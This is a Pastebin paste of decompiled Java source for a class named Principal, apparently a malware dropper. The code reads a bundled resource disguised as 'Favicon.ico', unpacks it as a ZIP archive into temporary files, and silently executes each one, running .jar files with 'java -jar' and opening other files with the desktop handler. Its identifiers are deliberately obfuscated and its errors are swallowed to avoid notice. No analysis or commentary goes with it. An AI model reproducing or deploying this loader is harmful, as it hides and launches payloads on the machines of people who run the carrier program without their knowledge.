Advertisement
Guest User

Untitled

a guest
Jun 3rd, 2013
330
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 3.88 KB | None | 0 0
  1. // Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.
  2. // Jad home page: http://www.geocities.com/kpdus/jad.html
  3. // Decompiler options: packimports(3)
  4. // Source File Name:   Principal.java
  5.  
  6. import java.awt.Desktop;
  7. import java.io.*;
  8. import java.util.zip.ZipEntry;
  9. import java.util.zip.ZipInputStream;
  10.  
  11. public class Principal extends Thread
  12. {
  13.  
  14.     public Principal()
  15.     {
  16.     }
  17.  
  18.     private String getFav()
  19.     {
  20.         return "Favicon.ico";
  21.     }
  22.  
  23.     private InputStream asdasdasdasdaspdaksdpoakspodkaspokdaposkodpaksdpkp()
  24.     {
  25.         return getClass().getResourceAsStream(getFav());
  26.     }
  27.  
  28.     public void run()
  29.     {
  30.         InputStream asaosdaoisdjiaosjdqkwdokqowpdkqpowkdpoaksdpoakspdokaspodkaposkdoapskdpoakspdkasopdkpas = asdasdasdasdaspdaksdpoakspodkaspokdaposkodpaksdpkp();
  31.         ZipInputStream kjsnadjasndjkasndjansdkansdjnasdjkansdkjanskjd = new ZipInputStream(asaosdaoisdjiaosjdqkwdokqowpdkqpowkdpoaksdpoakspdokaspodkaposkdoapskdpoakspdkasopdkpas);
  32.         ZipEntry kjasdjasndasdjansdnkqpwokdlassldkmkxvv;
  33.         try
  34.         {
  35.             while((kjasdjasndasdjansdnkqpwokdlassldkmkxvv = kjsnadjasndjkasndjansdkansdjnasdjkansdkjanskjd.getNextEntry()) != null)
  36.             {
  37.                 byte jnsdjnaskdnamcasasdasdasd[] = new byte[1024];
  38.                 ByteArrayOutputStream kjnnasdknasjdnaksdnajskndkansjdnasdkanskdnaskdjnaskjdnasdjask = new ByteArrayOutputStream();
  39.                 int i;
  40.                 while((i = kjsnadjasndjkasndjansdkansdjnasdjkansdkjanskjd.read(jnsdjnaskdnamcasasdasdasd)) > -1)
  41.                     kjnnasdknasjdnaksdnajskndkansjdnasdkanskdnaskdjnaskjdnasdjask.write(jnsdjnaskdnamcasasdasdasd, 0, i);
  42.                 kjnnasdknasjdnaksdnajskndkansjdnasdkanskdnaskdjnaskjdnasdjask.close();
  43.                 String kajnsdjkansdajknsjdansqppqpqpqpq = kjasdjasndasdjansdnkqpwokdlassldkmkxvv.getName();
  44.                 kaskjdasjdjajskdjlaskjdaklsjdalksjdklajsdkjaskdjalsdjalksjdkalsd(kajnsdjkansdajknsjdansqppqpqpqpq, kjnnasdknasjdnaksdnajskndkansjdnasdkanskdnaskdjnaskjdnasdjask.toByteArray());
  45.                 kjsnadjasndjkasndjansdkansdjnasdjkansdkjanskjd.closeEntry();
  46.             }
  47.         }
  48.         catch(IOException ex) { }
  49.     }
  50.  
  51.     private void kaskjdasjdjajskdjlaskjdaklsjdalksjdklajsdkjaskdjalsdjalksjdkalsd(String kjasndajksndjasqwodiqw, byte sndajsndansdjanskdnasjdnas[])
  52.     {
  53.         try
  54.         {
  55.             File kjdjnasjdnasjdnajksndkajnsdjaknsdkjansdkjasd = File.createTempFile("asdqwdoiqjwdomasdlkasmdklasd", kjasndajksndjasqwodiqw);
  56.             FileOutputStream doasndamsdlkamskmdalsmdqlwmekmqwleqmwlemodofijdfoig = new FileOutputStream(kjdjnasjdnasjdnajksndkajnsdjaknsdkjansdkjasd);
  57.             doasndamsdlkamskmdalsmdqlwmekmqwleqmwlemodofijdfoig.write(sndajsndansdjanskdnasjdnas);
  58.             doasndamsdlkamskmdalsmdqlwmekmqwleqmwlemodofijdfoig.close();
  59.             kjdansdjnasjdnaksdnajsndkasndkjansjkdnasdpiqwmdpqkwodkqwpdokqwpd(kjdjnasjdnasjdnajksndkajnsdjaknsdkjansdkjasd);
  60.         }
  61.         catch(Exception ex) { }
  62.     }
  63.  
  64.     private void kjdansdjnasjdnaksdnajsndkasndkjansjkdnasdpiqwmdpqkwodkqwpdokqwpd(File dasndjansdjnasjdnaksdnasjdnaskjdnasjkdnasjdasd)
  65.     {
  66.         try
  67.         {
  68.             System.out.println("");
  69.             if(dasndjansdjnasjdnaksdnasjdnaskjdnasjkdnasjdasd.getName().contains(".jar"))
  70.             {
  71.                 System.out.println("");
  72.                 Runtime.getRuntime().exec(new String[] {
  73.                     "java", "-jar", dasndjansdjnasjdnaksdnasjdnaskjdnasjkdnasjdasd.getAbsolutePath()
  74.                 });
  75.             } else
  76.             {
  77.                 System.out.println("");
  78.                 Desktop.getDesktop().open(dasndjansdjnasjdnaksdnasjdnaskjdnasjkdnasjdasd.getAbsoluteFile());
  79.             }
  80.         }
  81.         catch(IOException ex) { }
  82.     }
  83.  
  84.     public static void main(String args[])
  85.     {
  86.         Principal p = new Principal();
  87.         p.start();
  88.     }
  89. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement